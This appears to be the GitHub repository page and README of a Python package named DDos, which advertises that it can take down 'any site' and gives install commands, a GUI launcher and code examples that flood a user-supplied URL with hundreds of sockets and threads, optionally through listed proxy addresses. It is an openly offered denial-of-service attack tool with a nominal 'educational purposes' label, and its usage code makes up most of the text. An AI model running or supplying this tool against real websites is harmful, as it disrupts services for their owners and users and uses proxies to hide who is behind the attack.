Skip to content
/ DDos Public

DDos any site using python (for educational purposes)

License

Notifications You must be signed in to change notification settings

donno2048/DDos

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

19 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

DDos

DDos any site using python

Install

From PyPI

pip3 install DDos==1.0.1 (You should really use this version)

From GitHub

pip3 install git+https://github.com/donno2048/DDos

Usage

GUI

To use it just run:

DDos

or

ddos

in the terminal to launch the GUI (Tkinter is a requirement for the GUI so use: sudo apt-get update && sudo apt-get install python3-tk -y on Linux. On Windows it's already installed)

TUI

To use the text-based user interface see this python example:

from DDos import checkUrl, DDos # import the needed functions
while True:
    url = input("Give me a URL: ") # get a url from the user
    if checkUrl(url): break # if it's formatted correctly exit the loop
    else: print("This URL isn't formatted correctly, try again") # else, go back
DDos(url, sockets = 400, threads = 10) # ddos this url with 400 sockets and 10 threads

or simply:

from DDos import DDos
DDos(input("Give me a URL: ")) # if the url isn't formatted correctly it will have an assertion error, use 500 sockets and 10 threads, no proxies will be used

The DDos function also has a proxies optional variable and there is a checkProxy function, you can use them like so:

from DDos import DDos, checkProxy
assert checkProxy("109.237.91.155:8080")
assert checkProxy("178.128.37.176:80")
DDos(input("Give me a URL: "), proxies = ["109.237.91.155:8080", "178.128.37.176:80"])

If you give an invalid proxy you will get an assertion error.